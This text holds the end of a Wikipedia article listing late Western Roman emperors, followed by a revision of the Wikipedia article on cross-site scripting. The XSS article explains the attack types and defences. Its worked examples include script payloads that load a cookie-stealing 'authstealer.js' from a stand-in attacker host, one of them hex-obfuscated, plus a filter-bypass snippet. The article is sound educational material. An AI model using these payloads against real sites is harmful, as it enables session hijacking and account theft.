Some of these technically illegitimate emperors are included in regnal lists, while others are not. For instance, [[Romulus Augustulus]] was technically a usurper who ruled only the Italian peninsula and was never legally recognized. However, he was traditionally considered the "last Roman Emperor" by 18th and 19th century western scholars and his overthrow by [[Odoacer]] used as the marking point between historical epochs, and as such he is usually included in regnal lists. However, modern scholarship has confirmed that Romulus Augustulus' predecessor, [[Julius Nepos]] continued to rule as Emperor in the other Western holdings and as a figurehead for Odoacer's rule in Italy until Nepos' death in 480. Since the question of what constitutes an emperor can be ambiguous, and dating the "fall of the Western Empire" arbitrary, this list includes both figures.
* '''[[Petronius Maximus]]''': 455 (not recognized by the Eastern Roman Empire)
* '''[[Avitus]]''': 455 to 456 (not recognized by the Eastern Roman Empire)
* '''[[Majorian]]''': 457 to 461
* '''[[Libius Severus]]''': 461 to 465 (not recognized by the Eastern Roman Empire)
* '''[[Anthemius]]''': 467 to 472
* '''[[Olybrius]]''': 472 (not recognized by the Eastern Roman Empire)
* '''[[Glycerius]]''': 473 to 474 (not recognized by the Eastern Roman Empire)

* '''[[Julius Nepos]]''': 474 to 480 ''in exile in [[Dalmatia (Roman province)|Dalmatia]] from 475 to 480''
* [[Romulus Augustulus|'''Romulus Augustus''']]: 475 to 476 (not recognized by the Eastern Roman Empire)
With the deposition of [[Romulus Augustulus|Romulus Augustus]] by [[Odoacer]], direct roman control ceased to exist in Italy. Odoacer assumed control of the peninsula as a [[de jure]] representative of Western Roman Emperor [[Julius Nepos]]. With the death of Julius Nepos in 480, the Eastern Roman Emperor [[Zeno (emperor)|Zeno]] abolished the title and position of Western Roman Emperor and assumed the role of Odoacer's sovereign. Though some new candidates for the position of Western emperor were proposed during and after the Eastern Roman reconquests of the sixth century, such as [[Belisarius]] in 540 and [[Germanus (Caesar)|Germanus]] in 582, the position of Roman Emperor would never again be divided.

==See also==
*[[Fall of the Western Roman Empire]]
*[[Historiography of the fall of the Western Roman Empire]]
*[[Byzantine Empire]]
*[[Legacy of the Roman Empire]]
*[[Carolingian Empire]]
*[[Holy Roman Empire]]

== Notes ==
<references group="note" />

==Citations==
{{reflist}}

==References==
* Bury, J. B., ''A History of the Later Roman Empire from Arcadius to Irene'', Vol. I (1889)
* Börm, Henning: ''[https://www.academia.edu/1013050/Das_Westromische_Kaisertum_nach_476_in_H._Borm_-_N._Ehrhardt_-_J._Wiesehofer_eds._Monumentum_et_instrumentum_inscriptum_Stuttgart_Franz_Steiner_Verlag_2008_pp._47ff Das weströmische Kaisertum nach 476]''. In: [[Josef Wiesehöfer]] et al. (eds.), ''Monumentum et instrumentum inscriptum''. Stuttgart 2008, pp. 47–69.
*Börm, Henning: ''[https://www.academia.edu/3577658/Westrom._Von_Honorius_bis_Justinian_UT_735_._Stuttgart_Kohlhammer_2013 Westrom. Von Honorius bis Justinian]''. Stuttgart 2013, {{ISBN|978-3-17-023276-1}} ([http://sehepunkte.de/2016/05/23732.html Review in English]).

* Canduci, Alexander (2010), ''Triumph & Tragedy: The Rise and Fall of Rome's Immortal Emperors'', Pier 9, [[International Standard Book Number|ISBN]] [[Special:BookSources/978-1-74196-598-8|978-1-74196-598-8]]
* [[Edward Gibbon|Gibbon, Edward]] (1906). J. B. Bury (with an Introduction by W. E. H. Lecky), ed. ''The Decline and Fall of the Roman Empire'' (Volumes II, III, and IX). New York: Fred de Fau.
* Christie, Neil: ''The Fall of the Western Roman Empire''. London 2011, {{ISBN|978-0-340-75966-0}}.
* Grant, Michael, ''Fall of the Roman Empire'' (1993)
* Elton, Hugh, ''Fifth-Century Gaul: A Crisis of Identity?'' (Cambridge: University Press, 1992)
* Heather, Peter, ''The Western Empire 425–76'' in ''The Cambridge Ancient History: Late antiquity : empire and successors, A.D. 425–600'' (ed. Averil Cameron and Bryan Ward-Perkins) (2000)
*Martindale, J. R., ''The Prosopography of the Later Roman Empire: Volume 2, AD 395-527'' (1980)
*Moorhead, John, ''Justinian'', Longman 1994.
*Ouriachen, El Housin Helal: ''La ciudad bética durante la Antigüedad Tardía. Persistencias y mutaciones locales en relación con la realidad urbana del Mediterraneo y del Atlántico'', PhD thesis, [[Universidad de Granada]]. Granada 2009.
*Sandberg, Kaj: ''The So-Called Division of the Roman Empire. Notes On A Persistent Theme in Western Historiography''. In: ''Arctos'' 42 (2008), 199-213.
*{{cite book|title=The Goths in Spain|last=Thompson|first=E. A.|publisher=Clarendon|year=1969|location=Oxford|ref=harv|postscript=. Cf. the appendix "The Byzantine Province", pp. 320–34.|authorlink=E. A. Thompson}}
*Whitby, Michael, ''The Emperor Maurice and his historian: Theophylact Simocatta on Persian and Balkan warfare'' (1988) {{ISBN|0-19-822945-3}}
*Williams, Stephen and Friell, J.G.P: ''The Rome that did not fall: the survival of the East in the fifth century'', CRC Press, 1999, {{ISBN|0-203-98231-2}}.

==External links==
{{commons category|Western Roman Empire}}
*[http://www.roman-emperors.org/ De Imperatoribus Romanis]. Scholarly biographies of many Roman emperors, including those of the Western Roman Empire.
* [http://pelagios.org/maps/greco-roman/ Digital Map of the Roman Empire]. Navigable interactive map of the Roman Empire.
* [https://fallofromepodcast.wordpress.com/ The Fall of Rome Podcast]. Podcast concerning the Fall of the Western Roman Empire by PhD historian Patrick Wyman.
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Cross-site scripting

2017-02-06T20:11:04Z

PythonCode: Changed citation to updated link under original domain rather than archive.org link

{{Use mdy dates|date=June 2013}}
'''Cross-site scripting''' ('''XSS''') is a type of [[computer security]] [[vulnerability (computer science)|vulnerability]] typically found in [[web application]]s. XSS enables attackers to [[code injection|inject]] [[client-side script]]s into [[web page]]s viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass [[access control]]s such as the [[same-origin policy]]. Cross-site scripting carried out on websites accounted for roughly 84% of all security vulnerabilities documented by [[Symantec]] as of 2007.<ref name="Symantec-2007-2nd-exec">During the second half of 2007, 11,253 site-specific cross-site vulnerabilities were documented by XSSed, compared to 2,134 "traditional" vulnerabilities documented by Symantec, in {{cite journal |title=Symantec Internet Security Threat Report: Trends for July–December 2007 (Executive Summary) |publisher=Symantec Corp. |volume=XIII |pages=1–3 |date=April 2008 |url=http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_exec_summary_internet_security_threat_report_xiii_04-2008.en-us.pdf |format=PDF |accessdate=May 11, 2008 }}</ref> Their effect may range from a petty nuisance to a significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site's owner.

==Background==
Security on the web depends on a variety of mechanisms, including an underlying concept of trust known as the [[same-origin policy]]. This essentially states that if content from one site (such as ''<nowiki>https://mybank.example1.com</nowiki>'') is granted permission to access resources on a system, then any content from that site will share these permissions, while content from another site (''<nowiki>https://othersite.example2.com</nowiki>'') will have to be granted permissions separately.<ref>{{cite web |title= Same Origin Policy - Web Security. W3.org. |url= http://www.w3.org/Security/wiki/Same_Origin_Policy |accessdate= November 4, 2014 }}</ref>

Cross-site scripting attacks use known vulnerabilities in web-based applications, their servers, or the plug-in systems on which they rely. Exploiting one of these, attackers fold malicious content into the content being delivered from the compromised site. When the resulting combined content arrives at the client-side [[web browser]], it has all been delivered from the trusted source, and thus operates under the permissions granted to that system. By finding ways of injecting malicious scripts into web pages, an attacker can gain elevated access-privileges to sensitive page content, to session cookies, and to a variety of other information maintained by the browser on behalf of the user. Cross-site scripting attacks are a case of [[code injection]].{{citation needed|date=July 2013}}

[[Microsoft]] security-engineers introduced the term "cross-site scripting" in January 2000.<ref name="xssname">{{cite web |author= "dross" on MSDN |title= Happy 10th birthday Cross-Site Scripting! |url= http://blogs.msdn.com/b/dross/archive/2009/12/15/happy-10th-birthday-cross-site-scripting.aspx |date=15 Dec 2009 |accessdate= 2016-03-19 | quote = On the 16th of January, 2000, the following names were suggested and bounced around among a small group of Microsoft security engineers: [...] The next day there was consensus – Cross Site Scripting. }}</ref> The expression "cross-site scripting" originally referred to the act of loading the attacked, third-party web application from an unrelated attack-site, in a manner that executes a fragment of [[JavaScript]] prepared by the attacker in the [[same-origin policy|security context]] of the targeted domain (taking advantage of a ''reflected'' or ''non-persistent'' XSS vulnerability). The definition gradually expanded to encompass other modes of code injection, including persistent and non-JavaScript vectors (including [[ActiveX]], [[Java (programming language)|Java]], [[VBScript]], [[Adobe Flash|Flash]], or even [[HTML]] scripts), causing some confusion to newcomers to the field of [[information security]].<ref name="Grossman">{{cite web |last= Grossman |first= Jeremiah |title= The origins of Cross-Site Scripting (XSS) |url= http://jeremiahgrossman.blogspot.com/2006/07/origins-of-cross-site-scripting-xss.html |date= July 30, 2006 |accessdate= September 15, 2008 }}</ref>

XSS vulnerabilities have been reported and exploited since the 1990s. Prominent sites affected in the past include the social-networking sites [[Twitter]],<ref>{{cite news |last= Arthur |first= Charles |title= Twitter users including Sarah Brown hit by malicious hacker attack |url= https://www.theguardian.com/technology/blog/2010/sep/21/twitter-bug-malicious-exploit-xss |date= September 21, 2010 |publisher= The Guardian |accessdate= September 21, 2010 }}</ref>
[[Facebook]],<ref>{{cite news |last= Leyden |first= John |title= Facebook poked by XSS flaw |url= http://www.theregister.co.uk/2008/05/23/facebook_xss_flaw/ |date= May 23, 2008 |publisher= The Register |accessdate= May 28, 2008 }}</ref>
[[MySpace]], [[YouTube]] and [[Orkut]].<ref>{{cite web |title= Full List of Incidents |url= http://projects.webappsec.org/Web-Hacking-Incident-Database |date= February 17, 2008 |publisher= Web Application Security Consortium |accessdate= May 28, 2008 }}</ref><ref>{{cite web |first= Larry |last= Dignan |title= Obama site hacked; Redirected to Hillary Clinton |url= http://www.zdnet.com/blog/security/obama-site-hacked-redirected-to-hillary-clinton/1042 |date=April 21, 2008 |publisher= ZDNet |accessdate= May 28, 2008 }}</ref> Cross-site scripting flaws have since surpassed [[buffer overflow]]s to become the most common publicly reported security vulnerability,<ref>{{cite web |last= Christey |first= Steve |last2= Martin |first2= Robert A. |title= Vulnerability Type Distributions in CVE (version 1.1) |url= //cwe.mitre.org/documents/vuln-trends/index.html |date= May 22, 2007 |publisher= MITRE Corporation |accessdate= June 7, 2008 }}</ref> with some researchers in 2007 estimating as many as 68% of websites as likely open to XSS attacks.<ref>
{{cite news
|last= Berinato |first= Scott
|title= Software Vulnerability Disclosure: The Chilling Effect
|url= http://www.csoonline.com/article/221113
|archiveurl= https://web.archive.org/web/20080418072230/http://www.csoonline.com/article/221113
|archivedate= April 18, 2008 |work= CSO |page= 7
|publisher= CXO Media |date= January 1, 2007 |accessdate= June 7, 2008
}}
</ref>

==Types==
There is no single, standardized classification of cross-site scripting flaws, but most experts distinguish between at least two primary flavors of XSS flaws: ''non-persistent'' and ''persistent''. Some sources further divide these two groups into ''traditional'' (caused by server-side code flaws) and ''[[Document Object Model|DOM]]-based'' (in client-side code).

===Reflected (non-persistent)===
{{Quote box
|width=30%
|title=Example of a non-persistent XSS flaw
|1=Non-persistent XSS vulnerabilities in Google could allow malicious sites to attack Google users who visit them while logged in.<ref>{{cite web |last=Amit |first=Yair |title=Google.com UTF-7 XSS Vulnerabilities |url=http://www.securiteam.com/securitynews/6Z00L0AEUE.html |publisher=Watchfire |date=December 21, 2005 |accessdate=May 29, 2008}}</ref>
}}

The ''non-persistent'' (or ''reflected'') cross-site scripting vulnerability is by far the most common type of web vulnerability.<ref name="HopeWalther">{{Cite book |last=Paco |first=Hope |last2=Walther |first2=Ben |title=Web Security Testing Cookbook |publisher=O'Reilly Media, Inc. |year=2008 |location=Sebastopol, CA |page=128 |isbn=978-0-596-51483-9}}</ref> These holes show up when the data provided by a web client, most commonly in HTTP query parameters (e.g. HTML form submission), is used immediately by server-side scripts to parse and display a page of results for and to that user, without properly [[HTML sanitization|sanitizing]] the request.<ref name="WASC-2005">{{cite web |title=Cross-site Scripting |url=http://projects.webappsec.org/Cross-Site-Scripting |year=2005 |publisher=Web Application Security Consortium |accessdate=May 28, 2008}}</ref>

Because HTML documents have a flat, serial structure that mixes control statements, formatting, and the actual content, any non-validated user-supplied data included in the resulting page without proper HTML encoding, may lead to markup injection.<ref name="HopeWalther" /><ref name="WASC-2005" /> A classic example of a potential vector is a site search engine: if one searches for a string, the search string will typically be redisplayed verbatim on the result page to indicate what was searched for. If this response does not properly [[Escape character|escape]] or reject HTML control characters, a cross-site scripting flaw will ensue.<ref name="GHFPR">{{cite book |last=Grossman |first=Jeremiah |first2=Robert |last2=Hansen |first3=Seth |last3=Fogie |first4=Petko D. |last4=Petkov |first5=Anton |last5=Rager |title=XSS Attacks: Cross Site Scripting Exploits and Defense (Abstract) |pages=70, 156 |publisher=Elsevier Science & Technology via Google Book Search |url=https://books.google.com/books?id=dPhqDe0WHZ8C |year=2007 |isbn=1-59749-154-3 |accessdate=May 28, 2008}}</ref>

A reflected attack is typically delivered via email or a neutral web site. The bait is an innocent-looking URL, pointing to a trusted site but containing the XSS vector. If the trusted site is vulnerable to the vector, clicking the link can cause the victim's browser to execute the injected script.

===Persistent===
{{Quote box
|width=30%
|title=Example of a persistent XSS flaw
|A persistent [[cross-zone scripting]] vulnerability coupled with a [[computer worm]] allowed execution of arbitrary code and listing of filesystem contents via a QuickTime movie on [[MySpace]].<ref>This worm is named JS/Ofigel-A, JS/Quickspace.A and JS.Qspace, in {{cite web |title=JS/Ofigel-A |url=http://www.sophos.com/security/analyses/viruses-and-spyware/jsofigela.html |publisher=Sophos |accessdate=June 5, 2008}} and {{cite web |title=F-Secure Malware Information Pages: JS/Quickspace.A |url=http://www.f-secure.com/v-descs/js_quickspace_a.shtml |date=January 5, 2007 |publisher=F-Secure |accessdate=June 5, 2008}} and {{cite web |title=JS.Qspace |url=http://www.symantec.com/security_response/writeup.jsp?docid=2006-120313-2523-99 |date=February 13, 2007 |publisher=Symantec Corp. |accessdate=June 5, 2008}}</ref>
}}

The ''persistent'' (or ''stored'') XSS vulnerability is a more devastating variant of a cross-site scripting flaw: it occurs when the data provided by the attacker is saved by the server, and then permanently displayed on "normal" pages returned to other users in the course of regular browsing, without proper HTML escaping. A classic example of this is with online message boards where users are allowed to post HTML formatted messages for other users to read.<ref name="WASC-2005" />

For example, suppose there is a dating website where members scan the profiles of other members to see if they look interesting. For privacy reasons, this site hides everybody's real name and email. These are kept secret on the server. The only time a member's real name and email are in the browser is when the member is signed in, and they can't see anyone else's.

Suppose that Mallory, an attacker, joins the site and wants to figure out the real names of the people she sees on the site. To do so, she writes a script designed to run from other people's browsers when '''they''' visit '''her''' profile. The script then sends a quick message to her own server, which collects this information.

To do this, for the question "Describe your Ideal First Date", Mallory gives a short answer (to appear normal) but the text at the end of her answer is her script to steal names and emails. If the script is enclosed inside a <script> element, it won't be shown on the screen. Then suppose that Bob, a member of the dating site, reaches Mallory’s profile, which has her answer to the First Date question. Her script is run automatically by the browser and steals a copy of Bob’s real name and email directly from his own machine.

Persistent XSS vulnerabilities can be more significant than other types because an attacker's malicious script is rendered automatically, without the need to individually target victims or lure them to a third-party website. Particularly in the case of social networking sites, the code would be further designed to self-propagate across accounts, creating a type of client-side [[Computer worm|worm]].<ref>Viruses and worms in {{cite web |last=Alcorn |first=Wade |title=The Cross-site Scripting Virus |date=September 27, 2005 |url=http://www.bindshell.net/papers/xssv |publisher=BindShell.net |accessdate=May 27, 2008}} and {{cite web |last=Grossman |first=Jeremiah |title=Cross-Site Scripting Worms and Viruses: The Impending Threat and the Best Defense |url=http://www.net-security.org/dl/articles/WHXSSThreats.pdf |format=PDF |date=April 2006 |publisher=WhiteHat Security |page=20 |accessdate=June 6, 2008}}</ref>

The methods of injection can vary a great deal; in some cases, the attacker may not even need to directly interact with the web functionality itself to exploit such a hole. Any data received by the web application (via email, system logs, IM etc.) that can be controlled by an attacker could become an injection vector.

===Server-side versus DOM-based vulnerabilities===
{{Quote box
|width=30%
|title=Example of a DOM-based XSS flaw
|Before the bug was resolved, Bugzilla error pages were open to [[Document Object Model|DOM]]-based XSS attacks in which arbitrary HTML and scripts could be injected using forced error messages.<ref>{{cite web |title=Bug 272620 – XSS vulnerability in internal error messages |url=http://bugzilla.mozilla.org/show_bug.cgi?id=272620 |year=2004 |publisher=Bugzilla@Mozilla |accessdate=May 29, 2008}}</ref>
}}
Historically XSS vulnerabilities were first found in applications that performed all data processing on the server side. User input (including an XSS vector) would be sent to the server, and then sent back to the user as a web page. The need for an improved user experience resulted in popularity of applications that had a majority of the presentation logic (maybe written in [[JavaScript]]) working on the client-side that pulled data, on-demand, from the server using [[AJAX]].

As the JavaScript code was also processing user input and rendering it in the web page content, a new sub-class of reflected XSS attacks started to appear that was called ''[[Document Object Model|DOM]]-based cross-site scripting''. In a DOM-based XSS attack, the malicious data does not touch the web server. Rather, it is being reflected by the JavaScript code, fully on the client side.<ref>{{cite web |url=https://www.owasp.org/index.php/DOM_Based_XSS |title=DOM based XSS |publisher=OWASP}}</ref>

An example of a DOM-based XSS vulnerability is the bug found in 2011 in a number of [[JQuery]] plugins.<ref>{{cite web |url=http://bugs.jquery.com/ticket/9521 |title=JQuery bug #9521 |year=2011}}</ref> Prevention strategies for DOM-based XSS attacks include very similar measures to traditional XSS prevention strategies but implemented in [[JavaScript]] code and contained in web pages (i.e. input validation and escaping).<ref>{{cite web |url=https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet |title=DOM based XSS prevention cheat sheet |publisher=OWASP}}</ref> Some [[JavaScript library|JavaScript frameworks]] have built-in countermeasures against this and other types of attack — for example [[Angular.js]].<ref>{{cite web |url=http://docs.angularjs.org/api/ng.$sce |title=Strict Contextual Escaping |publisher=Angular.js}}</ref>

===Self-XSS===

[[Self-XSS]] is a form of XSS vulnerability which relies on Social Engineering in order to trick the victim into executing malicious JavaScript code into their browser. Although it is technically not a true XSS vulnerability due to the fact it relies on socially engineering a user into executing code rather than a flaw in the affected website allowing an attacker to do so, it still poses the same risks as a regular XSS vulnerability if properly executed.<ref>{{cite web |title= Self-XSS Facebook scam attempts to trick users into hacking themselves |work= www.majorgeeks.com |date= 2014-07-29 |url= http://www.majorgeeks.com/news/story/self_xss_facebook_scam_attempts_to_trick_users_into_hacking_themselves.html |access-date= 2016-09-20 }}</ref>

=={{anchor|Exploit scenarios}}Exploit examples==

Attackers intending to exploit cross-site scripting vulnerabilities must approach each class of vulnerability differently. For each class, a specific attack vector is described here. The names below are technical terms, taken from the [[Alice and Bob|Alice-and-Bob cast of characters]] commonly used in computer security.

The [[BeEF (Browser Exploitation Framework)|Browser Exploitation Framework]] could be used to attack the web site and the user's local environment.

===Non-persistent===
# Alice often visits a particular website, which is hosted by Bob. Bob's website allows Alice to log in with a username/password pair and stores sensitive data, such as billing information. When a user logs in, the browser keeps an Authorization Cookie, which looks like some garbage characters, so both computers (client and server) remember that she's logged in.
# Mallory observes that Bob's website contains a reflected XSS vulnerability:
## When she visits the Search page, she inputs a search term in the search box and clicks the submit button. If no results were found, the page will display the term she searched for followed by the words "not found," and the url will be <code><nowiki>http://bobssite.org?q=her</nowiki> search term</code>.
## With a normal search query, like the word "'''puppies'''", the page simply displays "'''puppies''' not found" and the url is "<nowiki>http://bobssite.org</nowiki>'''?q=puppies'''" - which is perfectly normal behavior.
## However, when she submits an abnormal search query, like "{{code|2=html4strict|1=<script type='text/javascript'>alert('xss');</script>}}",
### An alert box appears (that says "xss").
### The page displays "{{code|2=html4strict|1=<script type='text/javascript'>alert('xss');</script>}} not found," along with an error message with the text 'xss'.
### The url is "<code><nowiki>http://bobssite.org</nowiki>'''?q=<script%20type='text/javascript'>alert('xss');</script>'''</code> - which is exploitable behavior.
# Mallory crafts a URL to exploit the vulnerability:
## She makes the URL <code><nowiki>http://bobssite.org</nowiki>'''?q=puppies<script%20src="<nowiki>http://mallorysevilsite.com/authstealer.js"></script></nowiki>'''</code>. She could choose to convert the [[ASCII]] characters into [[hexadecimal]] format, such as <code><nowiki>http://bobssite.org</nowiki>'''?q=puppies<nowiki>%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E</nowiki>'''</code>, so that human readers cannot immediately decipher the malicious URL.<ref name=geekstuff>http://www.thegeekstuff.com/2012/02/xss-attack-examples/</ref>
## She sends an e-mail to some unsuspecting members of Bob's site, saying "Check out some cute puppies!"
# Alice gets the e-mail. She loves puppies and clicks on the link. It goes to Bob's website to search, doesn't find anything, and displays "puppies not found" but right in the middle, the script tag runs (it is invisible on the screen) and loads and runs Mallory's program authstealer.js (triggering the XSS attack). Alice forgets about it.
# The authstealer.js program runs in Alice's browser, as if it originated from Bob's website. It grabs a copy of Alice's Authorization Cookie and sends it to Mallory's server, where Mallory retrieves it.
# Mallory now puts Alice's Authorization Cookie into her browser as if it were her own. She then goes to Bob's site and is now logged in as Alice.
# Now that she's in, Mallory goes to the Billing section of the website and looks up Alice's credit card number and grabs a copy. Then she goes and changes her password so Alice can't even log in anymore.
# She decides to take it a step further and sends a similarly crafted link to Bob himself, thus gaining administrator privileges to Bob's website.

Several things could have been done to mitigate this attack:
# The search input could have been [[HTML sanitization|sanitized]] which would include proper encoding checking.
# The web server could be set to [[Server-side redirect|redirect]] invalid requests.
# The web server could detect a simultaneous login and invalidate the sessions.
# The web server could detect a simultaneous login from two different IP addresses and invalidate the sessions.
# The website could display only the last few digits of a previously used credit card.
# The website could require users to enter their passwords again before changing their registration information.
# The website could enact various aspects of the [[Content Security Policy]].
# Users could be educated to ''not'' click "benign-looking", but malicious, links.
# Set cookie with <code>HttpOnly</code> flag to prevent access from JavaScript.

===Persistent attack===
# Mallory gets an account on Bob's website.
# Mallory observes that Bob's website contains a stored XSS vulnerability. If you go to the News section, and post a comment, it will display whatever he types in for the comment. But, if the comment text contains HTML tags in it, the tags will be displayed as it is, and any script tags get run.
# Mallory reads an article in the News section and writes in a comment at the bottom in the Comments section. In the comment, she inserts this text: <code>I love the puppies in this story! They're so cute!'''<script src="<nowiki>http://mallorysevilsite.com/authstealer.js</nowiki>">'''</code>
# When Alice (or anyone else) loads the page with the comment, Mallory's script tag runs and steals Alice's authorization cookie, sending it to Mallory's secret server for collection.<ref name=geekstuff>http://www.thegeekstuff.com/2012/02/xss-attack-examples/</ref>
# Mallory can now [[session hijacking|hijack]] Alice's session and impersonate Alice.<ref>{{cite news |last=Brodkin |first=Jon |title=The top 10 reasons Web sites get hacked |url=http://www.networkworld.com/article/2286560/lan-wan/the-top-10-reasons-web-sites-get-hacked.html |date=October 4, 2007 |work=Network World |publisher=IDG |accessdate=February 6, 2017 }}</ref><ref name=geekstuff/>

Bob's website software should have stripped out the script tag or done something to make sure it didn't work, but the security bug is in the fact that he didn't.

=={{anchor|Mitigation|Reducing the threat}}Preventive measures==
{{manual|section|date=December 2014}}

===Contextual output encoding/escaping of string input===

Contextual output encoding/escaping could be used as the primary defense mechanism to stop XSS attacks. There are several escaping schemes that can be used depending on where the untrusted string needs to be placed within an HTML document including HTML entity encoding, JavaScript escaping, CSS escaping, and [[Percent-encoding|URL (or percent) encoding]].<ref name="OWASP">{{cite web |last=Williams |first=Jeff |title=XSS (Cross Site Scripting) Prevention Cheat Sheet |url=https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet |publisher=OWASP |date=January 19, 2009 |accessdate=February 4, 2009 }}</ref> Most web applications that do not need to accept rich data can use escaping to largely eliminate the risk of XSS attacks in a fairly straightforward manner.

Although widely recommended, performing HTML entity encoding only on the [[List of XML and HTML character entity references#Predefined entities in XML|five XML significant characters]] is not always sufficient to prevent many forms of XSS attacks. As encoding is often difficult, security encoding libraries are usually easier to use.<ref name="OWASP" />

===Safely validating untrusted HTML input===

Many operators of particular web applications (e.g. forums and webmail) allow users to utilize a limited subset of HTML markup. When accepting HTML input from users (say, <tt>very large</tt>), output encoding (such as <tt>&lt;b&gt;very&lt;/b&gt; large</tt>) will not suffice since the user input needs to be rendered as HTML by the browser (so it shows as "'''very''' large", instead of "very large"). Stopping an XSS attack when accepting HTML input from users is much more complex in this situation. Untrusted HTML input must be run through an [[HTML sanitization]] engine to ensure that it does not contain XSS code.

It should also be noted that many validations rely on parsing out (blacklisting) specific "at risk" html tags such as the following<syntaxhighlight lang="html5">
<script> <link> <iframe>
</syntaxhighlight>

There are several issues with this approach, for example sometimes seemingly harmless tags can be left out which when utilized correctly can still result in an XSS

(see the below example) <syntaxhighlight lang="html5">
<img src="javascript:alert(1)">
</syntaxhighlight>Another popular method is to strip user input of " and ' however this can also be bypassed as the payload can be concealed with [[Obfuscation]] (See this [http://www.jsfuck.com/] link for an extreme example of this)

===Cookie security===

Besides content filtering, other imperfect methods for cross-site scripting mitigation are also commonly used. One example is the use of additional security controls when handling [[HTTP cookie|cookie]]-based user authentication. Many web applications rely on session cookies for authentication between individual HTTP requests, and because client-side scripts generally have access to these cookies, simple XSS exploits can steal these cookies.<ref name="Sharma">{{cite web |last=Sharma |first=Anand |title=Prevent a cross-site scripting attack |url=http://www.ibm.com/developerworks/ibm/library/wa-secxss/ |publisher=IBM |date=February 3, 2004 |accessdate=May 29, 2008 }}</ref> To mitigate this particular threat (though not the XSS problem in general), many web applications tie session cookies to the IP address of the user who originally logged in, then only permit that IP to use that cookie.<ref name="ModSecurity">{{cite web |title=ModSecurity: Features: PDF Universal XSS Protection |url=http://www.modsecurity.org/projects/modsecurity/apache/feature_universal_pdf_xss.html |publisher=Breach Security |accessdate=June 6, 2008 }}</ref> This is effective in most situations (if an attacker is only after the cookie), but obviously breaks down in situations where an attacker is behind the same [[Network address translation|NAT]]ed IP address or [[web proxy]] as the victim, or the victim is changing his or her [[mobile IP]].<ref name="ModSecurity" />

Another mitigation present in [[Internet Explorer]] (since version 6), [[Firefox]] (since version 2.0.0.5), [[Safari]] (since version 4), [[Opera]] (since version 9.5) and [[Google Chrome]], is an ''HttpOnly'' flag which allows a web server to set a cookie that is unavailable to client-side scripts. While beneficial, the feature can neither fully prevent cookie theft nor prevent attacks within the browser.<ref>{{cite web |title=Ajax and Mashup Security |url=http://www.openajax.org/whitepapers/Ajax%20and%20Mashup%20Security.php |publisher=OpenAjax Alliance |accessdate=June 9, 2008 }}</ref>

===Disabling scripts===

While [[Web 2.0]] and [[Ajax (programming)|Ajax]] developers require the use of JavaScript,<ref>{{cite web |last=O'Reilly |first=Tim |title=What Is Web 2.0 |url=http://oreilly.com/web2/archive/what-is-web-20.html |pages=4–5 |date=September 30, 2005 |publisher=O'Reilly Media |accessdate=June 4, 2008 }}</ref> some web applications are written to allow operation without the need for any client-side scripts.<ref>"A page should work, even if in a degraded form, without JavaScript." in {{cite book |last=Zammetti |first=Frank |title=Practical JavaScript, DOM Scripting and Ajax Projects via Amazon Reader |url=http://www.amazon.com/gp/reader/1590598164/ |publisher=Apress |page=36 |isbn=1-59059-816-4 |date=April 16, 2007 |accessdate=June 4, 2008 }}</ref> This allows users, if they choose, to disable scripting in their browsers before using the application. In this way, even potentially malicious client-side scripts could be inserted unescaped on a page, and users would not be susceptible to XSS attacks.

Some browsers or browser plugins can be configured to disable client-side scripts on a per-domain basis. This approach is of limited value if scripting is allowed by default, since it blocks bad sites only ''after'' the user knows that they are bad, which is too late. Functionality that blocks all scripting and external inclusions by default and then allows the user to enable it on a per-domain basis is more effective. This has been possible for a long time in Internet Explorer (since version 4) by setting up its so called "Security Zones",<ref>{{cite web |title=How to use security zones in Internet Explorer |url=http://support.microsoft.com/kb/174360/en-us |date=December 18, 2007 |publisher=Microsoft |accessdate=June 4, 2008 }}</ref> and in Opera (since version 9) using its "Site Specific Preferences".<ref>{{cite web ||first=Håkon Wium |last=Lie |title=Opera 9 Technology Preview 2 |url=http://labs.opera.com/news/2006/02/07-2/ |date=February 7, 2006 |publisher=Opera Software |accessdate=June 4, 2008 }}</ref> A solution for Firefox and other [[Gecko (layout engine)|Gecko]]-based browsers is the open source [[NoScript]] add-on which, in addition to the ability to enable scripts on a per-domain basis, provides some XSS protection even when scripts are enabled.<ref>{{cite web |title=NoScript |url=http://addons.mozilla.org/en-US/firefox/addon/noscript/ |publisher=Mozilla |date=May 30, 2008 |accessdate=June 4, 2008 }} and {{cite news |last=Mogull |first=Rich |title=Should Mac Users Run Antivirus Software? |url=http://db.tidbits.com/article/9511 |date=March 18, 2008 |work=TidBITS |publisher=TidBITS Publishing |accessdate=June 4, 2008 }}</ref>

The most significant problem with blocking all scripts on all websites by default is substantial reduction in functionality and responsiveness (client-side scripting can be much faster than server-side scripting because it does not need to connect to a remote server and the page or frame does not need to be reloaded).<ref>{{cite web |title="Using client-side events" in DataWindow Programmer's Guide |url=http://www.elsevier.com/homepage/saa/trac/progmeth.htm |date=March 2003 |publisher=Sybase |accessdate=June 4, 2008 }}</ref> Another problem with script blocking is that many users do not understand it, and do not know how to properly secure their browsers. Yet another drawback is that many sites do not work without client-side scripting, forcing users to disable protection for that site and opening their systems to vulnerabilities.<ref>73% of sites relied on JavaScript in late 2006, in {{cite news |title='Most websites' failing disabled |url=http://news.bbc.co.uk/2/hi/technology/6210068.stm |publisher=BBC News |date=December 6, 2006 |accessdate=June 4, 2008 }}</ref> The Firefox NoScript extension enables users to allow scripts selectively from a given page while disallowing others on the same page. For example, scripts from example.com could be allowed, while scripts from advertisingagency.com that are attempting to run on the same page could be disallowed.<ref>{{cite web |title=NoScript Features |url=http://noscript.net/features |accessdate=March 7, 2009 }}</ref>

===Emerging defensive technologies===
There are three classes of XSS defense that are emerging. These include [[Content Security Policy]],<ref>{{cite web |url=http://www.w3.org/TR/CSP/ |title=Content Security Policy 1.0 |work=W3C Candidate Recommendation |date=November 15, 2012 |accessdate=February 22, 2013 }}</ref> Javascript sandbox tools, and auto-escaping templates. These mechanisms are still evolving but promise a future of heavily reduced XSS attack occurrence.

== Scanning service ==
